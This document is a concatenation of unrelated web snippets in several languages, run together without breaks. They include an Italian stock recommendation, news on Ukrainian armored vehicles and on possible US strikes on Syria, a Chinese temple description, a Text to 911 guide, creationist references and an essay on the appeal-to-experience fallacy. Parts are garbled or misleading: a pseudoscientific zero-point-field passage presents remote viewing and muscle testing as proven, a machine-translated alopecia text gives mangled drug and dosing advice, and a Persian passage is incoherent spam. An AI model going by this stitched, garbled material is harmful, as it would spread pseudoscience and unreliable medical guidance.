EDISON (11,4 euro - 22.074 lire) è una società del gruppo Montedison attiva nel campo dell'energia: produzione di energia elettrica, ricerca e estrazione di metano e olio combustibile. EDISON vuole diventare un operatore di primo piano nel suo settore. Ha acquistato circa il 3% delle azioni AEM (produzione e distribuzione di elettricità e gas nell'area milanese), in vista di un possibile accordo industriale. Ha acquistato anche la maggioranza delle azioni RWP, attiva nella costruzione e gestione di centrali elettriche eoliche (azionate dalla forza del vento), per incrementare la quota di energia prodotta da fonti "ecologiche". Ha invece perso la gara per l'acquisto di una partecipazione nelle centrali elettriche della spagnola Union Fenosa. Dal prossimo febbraio partirà la liberalizzazione del settore che dà la possibilità di vendere direttamente elettricità alle grandi imprese, senza passare prima per l'Enel. Quest'ultima dovrà poi vendere parte delle sue centrali (non potrà avere più del 50% del mercato italiano nel 2003) e EDISON sarà una delle pretendenti.
EDISON dimostra ottime capacità di crescita ed è ben posizionata per sfruttare gli spazi che la liberalizzazione del settore energetico creerà in Italia. Il prezzo del titolo è però caro. Vendere al di sopra di 9,81 euro.
EDISON (in euro)
La prossima liberalizzazione del settore elettrico mette le ali al titolo. Ma il prezzo è caro. Vendere.Le forze armate dell'Ucraina hanno ricevuto un altro lotto di veicoli da combattimento di fanteria riparati e modernizzati. Lo ha riferito il servizio stampa di Ukroboronprom.
L'attrezzatura è stata riparata presso l'impianto corazzato Zhytomyr come parte dell'ordine di difesa dello stato del 2020. In totale, le forze armate hanno ricevuto più di 20 BMP-1 e circa una dozzina di BMP-2. Nel corso della riparazione e della modernizzazione, l'efficienza del combattimento è stata ripristinata su tutte le macchine, i dispositivi difettosi sono stati sostituiti e il funzionamento delle armi è stato controllato.
È stato riferito che i sistemi aggiornati hanno ricevuto moderni sistemi di navigazione, dispositivi ottici e mirini di produzione ucraina. Come equipaggiamento aggiuntivo sono stati installati fari a infrarossi e fari di illuminazione con moderne lampade a LED.
In "Ukroboronprom" hanno sottolineato che su alcuni campioni dell'attrezzatura riparata, le cinture di bruco di propria produzione sono state utilizzate dall'impianto corazzato Zhytomyr.
Le macchine hanno superato l'intero ciclo dei test di fabbrica e di collaudo. Siamo fiduciosi che i nostri prodotti diventeranno un supporto affidabile per le unità militari durante le missioni di combattimento
- ha detto il direttore di ZhBTZ Alexey Zhukovets.逶迤的石梯，木墙青瓦，青石地板，罕见的木檐斗拱，更有一长排清代的石碑，让鱼泉寺充满了古色古香的气息。
游仙区东宣乡鱼泉寺，位于鱼泉村鱼泉山腰，三面青山相护，前瞰魏柳河与雍家场。建造在层层条石垒砌的高台之上，坐南向北，占地面积1399平米，建筑面积1214平方米。
由两个四合院横向布局组成，除西院正殿创始于明正统元年（1436年）外，其余基本为清代遗构。1981年6月25日被公布为县保，2002年12月27日被公布为省保，2013年3月，鱼泉寺被国务院公布为“全国重点文物保护单位”。
鱼泉寺整个建筑布局为横向二进四合院的格致，北面为一二层楼阁，下辟山门通道，上为灵官楼。灵官楼两侧为天王殿，东配殿为文昌殿，西配殿为观音殿，南为正殿。
正殿前建有一长方形石池，池南边正上方雕刻一石螭首，螭首内有水道与山泉相通，引泉水注入。相传在修建鱼泉寺之时，因“山中有泉，常见锦鲤跃出”而得名。
走进鱼泉寺，感受到的是一股浓烈的古文化气息。如果还有兴致，登上灵官楼，远眺鱼泉山下田野间此起毗邻的现代建筑群，聆听山林间不断的蝉鸣鼓噪声，穿越古今的感觉油然而生。
本文由飞猪签约达人 绵阳去哪玩 提供，未经授权，不得转载!Washington (Usa), 27 ago. (LaPresse/AP) - Dopo le dure dichiarazioni di ieri sera da parte del segretario di Stato americano John Kerry sulla Siria, gli Stati Uniti continuano a valutare le opzioni per rispondere al presunto attacco con armi chimiche di mercoledì 21 agosto a est di Damasco. Washington parla di "innegabile" uso di armi chimiche e attribuisce la responsabilità alle forze di Bashar Assad, definendo l'attacco una "oscenità morale" che sciocca la coscienza del mondo. Gli Usa, come diversi altri Paesi, non escludono un intervento militare. Quali sono le possibilità che si delineano?
- ATTACCO LAMPO. Secondo il Washington Post, che cita fonti dell'amministrazione Obama, Barack Obama starebbe valutando l'ipotesi di un intervento militare non più lungo di due giorni. L'attacco sarebbe dunque concepito soltanto come punizione per l'utilizzo di armi chimiche e dovrebbe fare da deterrente, mentre gli Usa si terrebbero fuori da un coinvolgimento più profondo nella guerra civile del Paese.
- NIENTE TRUPPE DI TERRA NE' NO FLY ZONE. Quello che è sicuramente escluso è l'invio di truppe di terra in Siria. Secondo una fonte ufficiale, inoltre, gli Usa non stanno prendendo in considerazione l'ipotesi di istituire una no-fly zone.
- ATTACCHI CON MISSILI TOMAHAWK. Sabato fonti hanno fatto sapere che la marina Usa ha inviato nel Mediterraneo orientale una quarta nave da guerra armata con missili balistici, seppur senza ordini immediati che prevedano alcun lancio di missili contro la Siria. L'azione militare più probabile sarebbe appunto un attacco con missili Tomahawk da una nave nel Mediterraneo.
- SITI MILITARI SAREBBERO OBIETTIVI DEI MISSILI. I missili da crociera mirerebbero a colpire obiettivi legati alla capacità del regime di lanciare attacchi chimici: questo significa che verrebbero presi di mira centri di comando e controllo, radar, strutture per le comunicazioni e altri quartier generali dell'esercito. Meno probabili invece attacchi a siti dove si trovano le armi chimiche, a causa del rischio del rilascio di gas tossici.
- PROBABILI RAID DI NOTTE. Secondo fonti ufficiali Usa, gli attacchi di precisione contro siti militari chiave verrebbero condotti probabilmente di notte.
- ATTACCO NON DURANTE VISITA ISPETTORI ONU. È improbabile che gli Stati Uniti lancino un attacco contro la Siria mentre gli ispettori delle Nazioni unite sono ancora nel Paese. L'amministrazione Usa potrebbe anche cercare di stabilire la tempistica basandosi sui programmi di viaggio di Obama in modo da evitare che il comandante in capo sia all'estero quando si lancia un attacco militare. Obama la prossima settimana ha degli incontri fissati in Svezia e Russia.
- INCERTEZZA SU SOSTEGNO ONU. Non è chiaro se Obama intenda aspettare un mandato Onu e chiedere un confronto con il Congresso prima dell'eventuale uso della forza. In un'intervista rilasciata alla Cnn venerdì 23 agosto, l'inquilino della Casa Bianca aveva affermato che "se gli Stati Uniti intevenissero e attaccassero un altro Paese senza un mandato delle Nazioni unite e senza chiare prove che possano essere presentate, allora sorgerebbero questioni in termini di diritto internazionale", sottolineando che gli Usa non avrebbero agito da soli. Tuttavia è altamente probabile che in Consiglio di sicurezza sia la Russia, sia la Cina bloccherebbero qualsiasi intervento.
- COSA SI ASPETTA PER LA DECISIONE. Sempre secondo il Washington Post, negli Stati Uniti il via libera all'operazione dipende da tre fattori: il completamento della valutazione dell'intelligence sulla colpevolezza del governo siriano nel presunto attacco con armi chimiche di mercoledì 21 agosto a est di Damasco; le consultazioni in corso con gli alleati e con il Congresso; e infine la determinazione di una giustificazione legale in base al diritto internazionale.
© Copyright LaPresse - Riproduzione RiservataThe need for help in Haiti is great. While Haiti is one of the countries in the world receiving extensive economic assistance, it has been recently classified as the poorest nation in the world with an estimated 80% of its citizens living below the poverty level. This extreme poverty rate leads to many challenges for citizens of Haiti. When compared with a United States citizen, the average Haitian is 4.5 times as likely to be unemployed, is half as likely to be able to read, lives 16 years fewer, and is more than 15 times more likely to die before the age of 5.
Adding to this crisis are the alarming statistics that in Haiti, one doctor serves 4000 people (compared with one doctor serving 375 people in the USA) and one dentist serves 33,000 people (compared with 2000 people in the USA).
The aim of Haiti Health Initiative is to improve the overall health and well-being of rural Haitians, one community at a time. We seek
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, Routledge, NY. The most recent proof of non-locality was accomplished by a research team in the Netherlands. See: Sorry, Einstein. Quantum Study Suggests ‘Spooky Action’ Is Real, New York Times, Oct 21, 2015 references a new study headed by B Hensen at the Kavli Institute of Nanoscience, Amsterdam. See also REFERENCE 2, footnote # 5 for original publication reference in the journal Nature.
3) Besides the tremendous capacity of the human organism to store accessible information the ZPF, or Universal Information Field (UIF), occupies a significant and useful diagnostic and application component for our work. The mind/body can be used as a tuner device and indicator muscles as a reliable source of query and response data from both the body and the field (ZPF/UIF). The body has not only a highly accurate record of its dysfunction it also has a tremendous amount of corrective information available according to its divine blueprint and programming. However, data seriously corrupted through trauma and various vicissitudes may often benefit from an energetic reference to divine external information for ultimate correction.
4) Though there are now considerable new studies available in the journals the book, The Field, by Lynn McTaggert, probably brings together within its two covers the best summary of studies, explanations and observations related to the ZPF of any single publication we could point to. As usual we will decline to endorse every word contained therein but would like to point to one study in particular described in this fascinating volume (pp. 155-163). Two scientists, Hal Puthoff and Russell Targ, had been conducting tightly controlled experiments testing ZPF effects with remote viewing in the 1970’s and with fairly amazing results (with interest from both the NSA and CIA and even some financial support). But one in particular stood out. In summary, in this case, a person would be sent to some random geographical coordinate and then instructed to send a mental picture to another person sitting in an isolated room who was at the appointed time to make a drawing of the scenes coming into his mind. The results were judged independently on a scale of accuracy of correlation between the drawn images and actual details of the place selected. The success of this process were in the 65-85% range. However, the anomaly that caught attention was one in which the observer was at a municipal swimming pool and the receiver of the images drew the pool quite accurately except for the mysterious addition of some water tanks and related gear—that wasn’t actually there. However, some months later one of the researchers received an annual report on the city in which the swimming pool resides (Palo Alto, CA) and in it was a picture and description of the community pool taken 50 years previously showing water tanks exactly where they had been drawn. It was part of a water purification system. Clearly the ZPF contains the past as well as the present. The questions that remain pertain to the future and the legitimate modifications to the past that the principles of quantum mechanics implies. See: L McTaggert, The Field, The Quest for the Secret Force of the Universe, 2008, Harper Collins.
5) Scientists with an evolutionary view of the origins of the universe use the proven existence of the ZPF as evidence of the mechanistic so-called Big Bank theory of creation—that it is an energetic “afterglow” of the singularity or the explosion that created the universe. However, the problem with this rather popular theory is that, according to some other scientists with an empirical bent, it just doesn’t fit the hard data. Quite simply the ZPF is an essentially uniform energy field of 2.78 degrees Kelvin throughout all of space while the physical universe is actually way too “lumpy” to correspond to the existence of the ZPF in any meaningful way. There are actually a plethora of problems with this theory as it has been repeatedly modified in response to new data, becoming an unwieldy kluge in the process. For a good summary see, for example: Musha & Hayman, Cosmic Background Radiation due to the Cherenkov Radiation from the Zero-Point Field of Vacuum, 2010, Journal of Space Exploration. http://www.ovaltech. ca/pdfss/Cosmic_ Background_Radiation_Due_to_ZPE_Cherenkov%20.pdf, and THE AWAKENING – Quantum Mechanics of the Human Brain and Consciousness. http:// trendwave.com/Science, and Mathematics/Quantum-Mechanics-of-the-Human-Brain-and-Consciousness, and Reality - The Holographic Universe, Mar. 1997, http://keelynet.com/biology/reality.htm. Those scientists who have seriously examined quantum physics tend to see the ZPF and the universe itself in an entirely different light. In fact, they tend to see “reality” in an entirely different light. The problem, as we see it, with stepping away from a Newtonian view of the world is to avoid the lure of occult representations of reality that usurp quantum principles for ultimately dark and unscientific destinations. Mainstream scientists, even those who see the unsettling implications, are understandably reluctant to embrace the apparent metaphysical insinuations of quantum physics. However, their peer review inspired reticence unfortunately leaves the field open for New Age and occult interpretations to lay claim to the high ground of authenticity. Truth is, rather, independent within its own sphere and can only be discovered as well as applied effectively in a conducive energetic environment— one in which truth (which is absolute and not relative) and its application is the very highest priority. Otherwise a short-circuit exists and the results are open and inevitable to compromise.In an emergency, a voice call to 911 is preferred. However, for those instances when you’re unable to call, you can now send a Text to 911. Again, residents should continue to call 911 when possible.
Text to 911 is intended for use in 3 emergency scenarios
- If a person is the victim of a crime and the perpetrator is still in the area, such as an assault, robbery, or a domestic violence incident.
- For someone who is deaf, hard of hearing, or has a speech disability and needs to reach 911.
- In situations where a person has sustained an injury that prevents him/her from speaking.
- Requires a text enabled/capable cellular phone.
- Location Services must be turned on.
- Text messages only. No Photos.
- Text messages must be brief and easily understood.
- Use Plain English. NO abbreviations, shortcuts or slang.
- Voice calls preferred. Text only when you can’t call.
How do I use Text to 911?
- When initiating the emergency text, do not use dashes when entering 911 into the "To" field.
- Be brief with your initial contact. (“help”, help needed”)
- Provide the location and nature of your emergency and wait to be prompted for further information and/or instructions.
If I am not comfortable speaking English can I text in my native language?
Currently this service is only available for texting in the English language.Treatment of baldness ( alopecia )
Beauty And Health / / May 01, 2016
Etiology and pathogenesis of all types of alopecia (baldness) has not been clarified.Development of the disease may contribute to the neuro-psychological factors (shock, fatigue), endocrine (hypofunction of the parathyroid glands, hyperthyroidism, gipokortitsizm), autoimmune, hereditary, mechanical (hair blowing down wearing hairpieces), hypovitaminosis, lack of trace elements (zinc, copper, iron,, magnesium, silicon), the presence of chronic infection foci (caries, tonsillitis, sinusitis, giardiasis), infectious diseases (typhoid, etc.), helminth infections, seborrhea, receiving cytotoxic, antikoagulyayatnyh drugs, X-ray irradiation, systemic lupus erythematosus, scleroderma, syphilis,leprosy, crusted ringworm, poor hair care.
main types of alopecia are: congenital, Premature, senile, alopecia, seborrheic, toxic, scar, syphilitic, leprosum.
When alopecia (focal) alopecia baldness appear rounded pockets of various sizes that are gradually increased, and sometimes merge.Typically the process begins w
Varieties alopecia baldness are hair loss in the form of a crown, a boundary value (Blends Ribbon), exposing, total, universal.When alopecia regional center is located in the occipital and temporal-parietal areas in the form of tape.When baring alopecia large pockets extend to the entire scalp, leaving unchanged the small islands of the hair.In total baldness hair falls out completely, not only in the area of the scalp, but also in the eyebrows, eyelashes, beard, and with universal alopecia also on the trunk and extremities.Often patients are detected simultaneously neurasthenia, dystonia, onychodystrophy.Seborrheic alopecia usually develops at a young age.
Toxic alopecia occurs when chronic administration of cytotoxic and other drugs, scar occurs in cases of lupus erythematosus, scleroderma, when X-ray irradiation.Syphilitic alopecia is melkoochagovogo (picture "fur, moth-eaten"), diffuse, the mixed.In individuals with alopecia, the hair falls leprosum first with the outer edges of the eyebrows, then over their entire length.
treatment of patients with hair loss should be individualized, taking into account the identified violations of metabolism in the body, associated diseases.The patient should be carefully examined for eggs of worms, fungi, syphilis and others., To hold a consultation with a physician, neurologist, endocrinologist.It is necessary to maintain the proper work and rest.According to the testimony prescribe sedatives, as well as carry out sanitation of chronic infection foci.Vitamins used in injections or orally (dekamevit, undevit), calcium preparations, phosphorus and iron (calcium glycerophosphate, fitoferrolaktol, fosfren, ferropleks), zinc oxide, duplex, adenosine triphosphate, befungin, methionine, etc .;in some cases, acupuncture is performed.
When alopecia hair loss, especially in total and universal, is also used furokumarinovye drugs (psoralen, beroksan, psoberan) inward and outward scheme, PUVA therapy.
With progressive baldness vigorous external treatment is contraindicated.In the stationary phase in order to improve the tone of the neuro-receptor apparatus and stimulate hair growth prescribed rubbing various skin-irritating agents: onions, peppers, garlic, settings peppers, kapsina, kapsitrina, 5% chloral hydrate solution, paste Rosenthal, ointment "Api-zartron""Virapin", "Viproeal", "The Viprosal" liniment "Vipratoks" tinctures of eucalyptus, marigold, aralia, sterculia, Rhaponticum, Eleutherococcus extract, irrigation centers of baldness chloroethyl.
When resistance to therapy for women with ovarian hypofunction after consulting a gynecologist prescribed in the first half of the menstrual cycle, 0.25%, and men 0.1-0.25% sinestrolovy cream.When hair loss is shown as 0.1% metandrostenolonovy cream.
patients with seborrheic alopecia appointed interior vitamin A (retinol acetate), purified sulfur.When alopecia on the background of oily seborrhea rubbed Quinic water betulin.
When alopecia on a background of dry seborrhea externally applied castor oil with a raw egg yolk and the juice of onion.
For oily seborrhea shown sulsenovogo hair washing and boron-tar soap.After washing the hair with seborrheic alopecia shown rinse decoction of nettle, burdock, hop the rate of 1 tablespoon of dried plant for 1 liter of water.
Persons suffering from hair loss, also nominated scalp massage, a variety of physical therapy treatments: ultraviolet irradiation, Cryomassage liquid nitrogen and snow of carbonic acid, electrophoresis of zinc, phonophoresis of drugs vitamins, paraffin-ozokerite applications on the pockets of alopecia, electrophoresis of bromine on a collar zone byScherbakov, darsonvalization scalp and cervical paravertebral areas, diathermy in the area of cervical sympathetic ganglia.In cases of syphilis and leprosy carried alopecia treatment of the underlying disease.
Typically, seborrheic alopecia and hair loss respond well to treatment, with a total labor cases of complete recovery are rare;congenital, scar, universal alopecia poor prognosis.بازی سیندرلا تا سالن رقص رایگان آنلاین میدونی چیه؟ کار بازی آنلاین سیندرلا تا سالن رقص رایگان می کند. من به طور کامل انتظار داشتم فیلم خسته کننده و ناخوشایند یا، حتی بدتر از آن، غرق در سایه ای از اثرات کامپیوتری مانند یا آلیس در سرزمین عجایب دیزنی باشد. اما چیزی در مورد ذخائر برنان بریتانیا، وفاداری او به ساختار رسمی و نسبتا آرام داستان افسانه ای شکسپیر.
او سیندرلا را آشنا اما
بازی سیندرلا تا سالن رقص
رایگان کاملا خیالی ارائه کرده است، یک داستان قدیمی به خوبی گفت. اسناد ویتز در درس های اخلاقی آسان - که هرگز گناه نابخشودنی نیست - تکرار ماندۀ مادرش است: "شجاعت و مهربان بودن"، بارها و بارها، اما این نیز بسیار جالب و شاداب، شاداب و زیبا به عنوان قند خورده شده است.
این فوق العاده کمک می کند که بازی سیندرلا تا سالن رقص رایگان توسط لیلی جیمز، گل گوزن یک چیز، روشن و پر زرق و برق و خود مالک است. جیمز به عنوان کوزین رول آزاد در کوبه دونونت شناخته می شود، که اغلب از پرهای راحت خراب پروردگار این مانور استفاده می کند. او کمی از این بدبختی به این نقش به ارمغان می آورد.
او به خوبی با بازی
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Surprised by Hope: Rethinking Heaven, the Resurrection, and the Mission of the Church, p. 56, HarperOne, New York, 2008. Return to text.
- See Guelich, R., Mark 1–8:26, Word Biblical Commentary, p. xxxi, Thomas Nelson, Nashville, 1989, and Carson, D., The Gospel According to John, The Pillar New Testament Commentary, p. 86, Eerdmans, Grand Rapids, 1991. Return to text.
- See Holding, J., Can’t We All Just Get Along? Tekton Apologetics Ministries, tektonics.org. Return to text.
- See Holding, J., The Resurrection narratives harmonized contextually, Tekton Apologetics Ministries, tektonics.org. Return to text.
- Witherington, B., Conflict and Community in Corinth: A Socio-Rhetorical Commentary on 1 and 2 Corinthians, p. 73, Eerdmans, Grand Rapids, 1995. Return to text.
- Osborne, G., Romans, p. 14, IVP New Testament Commentary Series, Intervarsity Press, Downers Grove, Illinois, 2004. Return to text.
- Cosner, L., Romans 5:12–21: Paul’s view of a literal Adam, Journal of Creation 22(2):105–107, 2008; Christ as the Last Adam: Paul’s use of the Creation Narrative in 1 Corinthians 15, Journal of Creation 23(3):70–75, 2009. Return to text.
- Moo, D., The Epistle to the Romans, p. 345, New International Commentary on the New Testament (NICNT), Eerdmans, 1996. Return to text.
- Witherington, B., Paul’s Letter to the Romans: A Socio-Rhetorical Commentary, pp. 146–147, Eerdmans, 2004. Return to text.
- Murray, J., The Epistle to the Romans: The English Text with Introduction, Exposition, and Notes 1:192, Eerdmans, 1965. Return to text.
- Fee, G., The first epistle to the Corinthians, p. 752, NICNT, Eerdmans, 1987. Return to text.
- This is a major problem with all evolution/long age ideas: placing death before sin. See Gurney, R., The carnivorous nature and suffering of animals, Journal of Creation 18(3):70–75, 2004; creation.com/carniv. Return to text.
- Barrett, C., The first epistle to the Corinthians, Black’s New Testament Commentary, p. 352, Hendrickson Publishers, Peabody, 1968. Return to text.
- A longer, more detailed version of the main article is available on our website at creation.com/the-resurrection-and-genesis; while an expanded version of the box is at creation.com/gospel-dates-and-reliability. Return to text.
(Available in Russian)
Yes, and who is to say that the apostles & other eyewitnesses in the early church, weren't already compiling a raft of disjointed written notes & vignettes which were then rounded up & used to organise & compile into the final document. That is to say, the process might not have been 100% reliant on oral tradition alone.Wildlife biologists are turning to aerial drones in an attempt to vaccinate the endangered black-footed ferret in Montana. The drones will reportedly be used to drop sweet treats laced with drugs that will protect the endangered ferrets, according to The Guardian.
The ferret had been considered an endangered species since 1967, Right now, only 300 are thought to be left in the country. The black-footed ferrets along with prairie dogs have fallen victim to the sylvatic plague, a disease delivered through fleas on rats, first detected in the 1800s.
There is a vaccine, and of course individual ferrets can be vaccinated by an injection, but protecting prairie dogs over vast areas has proven challenging. Both species are interconnected so that one is completely co-dependent on the other. The ferrets feast upon prairie dogs and invade their burrows.
Prairie dogs are also considered a “keystone” species because they are important to a number of other animals, such as eagles, owls and coyotes.
To solve the problem, the United States Fish and Wildlife Service has proposed deploying drone aircraft to distribute sweet pellets laced with a vaccine the plague. Officials made their case to use drones because traveling through vast habitats to distribute pesticides to kill the fleas is labor intensive as well as costly.
“We dropped the vaccine out of a bag while walking around, but that’s very hard to do over thousands of acres,” Randy Machett, a FWS biologist, told The Guardian. “Spraying burrows with insecticide to kill the fleas is also labor intensive and not a long-term solution. So we are working with private contractors to develop equipment to drop the vaccine uniformly across an area, rather than one hog getting to eat a big pile of them.”
Thanks to drone technology, the species can be targeted and helped. In order to know whether or not the animals are enjoying the pellets, wildlife biologists have built in a dye that stains the animals whiskers. this way, they can count the vaccinated critters.
Photo credit: WikimediaColor, then, has a dual function: it fulfills aesthetic requirements, and imparts a certain meaning and tone to a work of art.
What Colors Stand For: Color Symbolism
The significance of colors depends on the cultural and social scenario they are being used in. That is to say, the same color can stand for different things depending on the situation it is being used in.
The color white , which is often associated with purity, truth and innocence, is in China, associated with death.
Consider the color blue:
-In China, blue signifies immortality
-In Colombia, it is associated with soap
-For Hindus, blue is the color of Krishna
-For the Jews, blue symbolizes holiness
-In the Middle East, blue is a protective color
The subject matter of most of the paintings at Ajanta is the life and teachings of Buddha. This covers various lives and incarnations of Buddha as told in Jataka stories. Matching a similarity with the Flemish Renaissance Paintings in which the stories are richly depicted in the settings of the artistsí world and whole mood is of life and activity. Calligraphic lines drawn at the bottom or the any other corner do a nice follow up to the painting.
Paintings can be classified in to portraits, narrative illustrations and decorative ornamentation of great variety. The rocks here in Ajanta are cut in the shapes of Chaitya, Stupa and Vihara- all are important religious places of Buddhists.
The story of discovery of Ajanta can be traced far back as fourth decade of 19th century by a subaltern Englishmen. Since then many scholars and enthusiasts have done a great deal of job in bringing forth the hidden mystery of Ajanta the natural painting gallery in India. Some of them are Sir James Alexander (1834), James Fergusson (1843), Major Robert Gill (1857), Mr. Griffiths (1896), Lady Harringham (1911) and Sir John Marshall (1928).
Ethnic Paintings makes a sincere effort to take you through the journey of Ajanta Paintings in particular and Indian paintings in general.
Next, consider green :
-In China, green hats signify adultery. It is not a preferred color for packaging
-In France too, this color is not favored for packaging
-In India, green is the color of Islam
-In Ireland, it has Catholic significance
-In certain tropical countries, it is associated with danger.
Colors signify certain emotions and states of mind. Let us look at some of these:
Red is usually the color of passion, celebration and romance
Purple is associated with royalty, mystery and mysticism
Blue denotes security, tranquility and reliability
Green is the color of fertility, growth and envy
Yellow is generally related to illumination, brightness and illness
Black is the color of power, evil, sophistication
White means purity, truth, coldness and sterility
As is apparent, colors can have contradictory meanings; both negative and positive. It is therefore important that the significance of colors be understood not in isolation, but in the context of their usage.
Color in Painting
When an artist paints, not only does he choose what colors he will use, he also chooses how he will use those colors. That is, in what form he will use them, how much of them he will use, and what the intensity or saturation of a certain color will be. It is possible to say that a concentrated and saturated application of a certain color will signify something quite different from a sparse and light use of it.
If one compares the paintings of two Impressionist painters, Vincent Van Gogh and Claude Monet, we will notice a marked difference in the choice and application of color. While Van Gogh uses strong colors applied in determined powerful strokes, Monet's colors are usually more delicate and carefully applied. Van Gogh's pronounced blues, reds and greens denote the passion of the artist.
The Indian Phad paintings, Patachitra paintings and Thangka paintings also employ bold colors to impart a certain vivacity and brilliance. The colors used in Warli paintings on the other hand, are restricted to whites against an earthen background.虽然在辣椒中，有更多的事情要做。 两个河流艺术画廊，在火车山北部几英里，展示了80多名当地艺术家的工作。这个画廊被命名为Williamson和Sprague Rivers，它穿过镇上的城镇到上部克拉马斯湖，提供出色的鳟鱼飞钓机会 - 寻找从中访问它 寂寞的鸭子牧场是该地区的理想基础堆积。您还可以在附近营地 Collier纪念州立公园，威廉姆森和春季小溪汇集，或预订房间 Kla-Mo-ya赌场，泳池，热水浴缸和老虎机。办理登机手续 辣椒访客中心 for more info.
Michelle Kehm是一位作家和作者，其工作在Condédaast旅客，远程，Vogue，Glamor和Newyorker.com上出现。她是一个本土的波特兰德，在纽约市长期以来，很长时间才能重新发现太平洋西北地区。A common fallacy we all make is the appeal to accomplishment. This occurs when we claim that an opinion or idea is invalid because the person making the claim doesn’t have the accomplishments, experiences, or perhaps moral standing to make such a claim. “How can you stand there and criticize the chef’s cooking? Have you ever been a chef?” I prefer, however, to call this fallacy an appeal to experience.
The appeal to experience comes in many forms. For example,
- Your ideas about education are invalid, because you’ve never been a teacher.
- Your ideas about some area of science are wrong, because you’re not that type of scientist/you’re not a scientist.
- Your ideas about a certain disease are wrong, because you don’t specialize in that disease.
- Your ideas about a certain disease are wrong, because you don’t personally have that disease.
- Your ideas about some aspect of sociology are wrong, because you don’t belong to that social group.
I’m sure you can think of more. All of these arguments are logically absurd. You may be wrong about your ideas, and your lack of experience may even contribute to why you are wrong, but you are not wrong simply because you lack the experience. Arguments should stand on their own merits, not the merits of the ones making the arguments. An argument should only be discounted because it lacks merit.
But this fallacy is important for a different reason, and it relates in particular to the practice of anecdotal medicine. Here’s a howardism:
Our experiences lead us to awareness, not insight.
People often confuse awareness and insight. Let’s say you were a victim of a violent crime. This experience might make you a passionate advocate for reducing such crimes and helping victims of such crimes. But your experience alone will not tell you how best to do those things, and, worse, your experience may bias you in a way that you might never be the best person to solve the problem. You might want to focus all of our resources on ineffective measures related only to this one problem that has so viscerally affected you, and by doing so you might actually cause increased crime elsewhere.
Extend this metaphor to healthcare. Someone may be passionate about a certain disease (say, ovarian cancer) because she has been personally affected by it or has taken care of many patients who have died from it. This visceral bias may lead to selective interpretation of data and a desire to do whatever, no matter the unintended consequences, to prevent ovarian cancer. Such passion may lead for the advocacy of screening CA-125 tests or screening ultrasounds, both of which have been found to be harmful. But often it takes an objective observer to see the real risk and benefit ratio of a given intervention.
Our experiences makes us aware of problems, they allow us to have empathy for others, they focus our attention, but they also make us biased in a deep, visceral way, and our experiences may intellectually cripple us, making us unaware of larger, more global issues. The person with experience is often not the right person to make decisions about the things he has personally experienced. When our personal identities are so closely tied to a particular thing, say a way of practicing medicine or teaching or anything else, we may have a problem seeing the forest as we focus too much on our one blade of grass. This is called inattentional blindness.
So how do we gain insight? Through deliberate analysis and study. This needs to be dispassionate and objective, considering all factors fairly. A person with “experience” can do this and her experience can be valuable, but she must carefully check against her own biases. We don’t need to experience a thing to gain insight into it. I don’t need to damage a ureter during a hysterectomy to gain expertise at preventing ureteric injury. I don’t need to perform a series of Zavanelli maneuvers in order to know how to do one when called upon to do so (okay, I’ve done one…).
In medicine, many discussions (a form of argument) with colleagues or patients are begun or ended with “I once had a patient who…” or “In my experience…” or “When I do this procedure…” etc. This may serve the purpose of providing context for the argument and that is fine, but too often these anecdotes are the argument. It is a claim that the experience with that patient or procedure is sufficient to end the debate, and this is the hallmark of anecdotal medicine.
Patients often find this appealing, and many will seek out the most experienced physician, assuming that this is the same as the most competent physician. This makes the assumption that experience is a predicate of insight. Patients often ask, “Have you ever seen a patient with this diagnosis before?” when they mean to ask, “Do you have competency in treating this diagnosis?” These are often not the same question.
One of my favorites (as a male gynecologist) is, “I know you’re a man so you don’t understand what it’s like to have a period….” That’s true, but I am an expert in treating problems associated with the menstrual cycle and I have discussed the menstrual cycles with thousands of women; I’ve read about the menstrual cycle in dozens of books and papers, and I possess the shared and accumulated knowledge of hundreds of years of scientific research. Even better, I’m not personally biased about the menstrual cycle and I don’t believe it causes my toes to hurt, as someone might anecdotally believe who notices that her toes hurt once a month. So while I lack the joy of personally having a period,
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poligono è più idoneo dell’istogramma.
18 La frequenza cumulataSe, a partire dalla seconda classe di intervallo, si sommano recursivamente le frequenze si ottiene la cosiddetta frequenza cumulata, sia assoluta che relativa.
19 Grafici di dispersione Un’azienda chimica che produce detersivi effettua delle prove di lavaggio con diversi prodotti rilevando strumentalmente le variabili riflettanza (efficacia pulente) e scolorimento. Interessa valutare la relazione tra le due variabiliProdottoRiflettanzaScolorimentoA601.1B712.4C541.5D471.8E762.5F893.1G581.4H561.7I450.9J752.3
20 Diagramma in coordinate cartesiane rispetto al tempo Un’azienda che produce componenti elettrici controlla periodicamente una parte della produzione, rilevando la percentuale di pezzi scartatiProgressivoTrimestreAnnoPezzi scartatiPezzi controllati%12000-120003422001.55%22000-2201.00%32000-33123101.34%42000-42821001.33%52001-120012719981.35%62001-21517000.88%72001-32324000.96%82001-41323000.57%92002-120021722500.76%102002-21627000.59%112002-31420700.68%122002-41925
21 Dotplot e Boxplot: confronto tra due gruppi Il Dotplot ci conferma che i fondi a capitalizzazione integrale ottengono tendenzialmente un rendimento annuo più alto rispetto ai fondi misti.Il Boxplot suggerisce anche che i fondi a capitalizzazione integrale sono più variabili rispetto ai fondi misti.
22 Variabili categoriali: frequenza e frequenza cumulata Anche i dati qualitativi possono essere sintetizzati utilizzando appropriati strumenti analoghi a quelli dei dati quantitativi.Consideriamo un’estensione del dataset relativo ai fondi di investimento,includendo (oltre ad Object) anche la 2a variabile categoriale Group=“Tipo di commissione sul fondo”, che può assumere 5 modalità (o livelli).La tabella di sintesi per dati qualitativi presenta le stesse caratteristiche della tabella delle frequenze già vista in relazione ai dati quantitativi
23 Variabili categoriali: diagramma a barre e a torta Il diagramma a barre è un grafico analogo all’istogramma di frequenza. Ciascuna barra del diagramma rappresenta una modalità della variabile, e la lunghezza della barra è proporzionale alla frequenza dalla modalità considerata.Il diagramma a torta si ottiene dividendo l’angolo di 360° in “fette” la cui dimensione è proporzionale alla percentuale di osservazioni che cadono in ciascuna categoria.
24 Il diagramma di ParetoIl diagramma di Pareto è un diagramma a barre verticali in cui le modalità compaiono in ordine decrescente rispetto alle frequenze di ciascuna e combinate con un poligono cumulativo nella stessa scala.Il diagramma di Pareto diventa particolarmente utile quando le modalità della variabile di interesse sono molte.Infatti il vantaggio di questo grafico consiste nella sua capacità di separare le poche modalità cui è associata una frequenza più alta da quelle meno rappresentate nei dati, permettendo al lettore di concentrarsi sulle modalità più importanti.
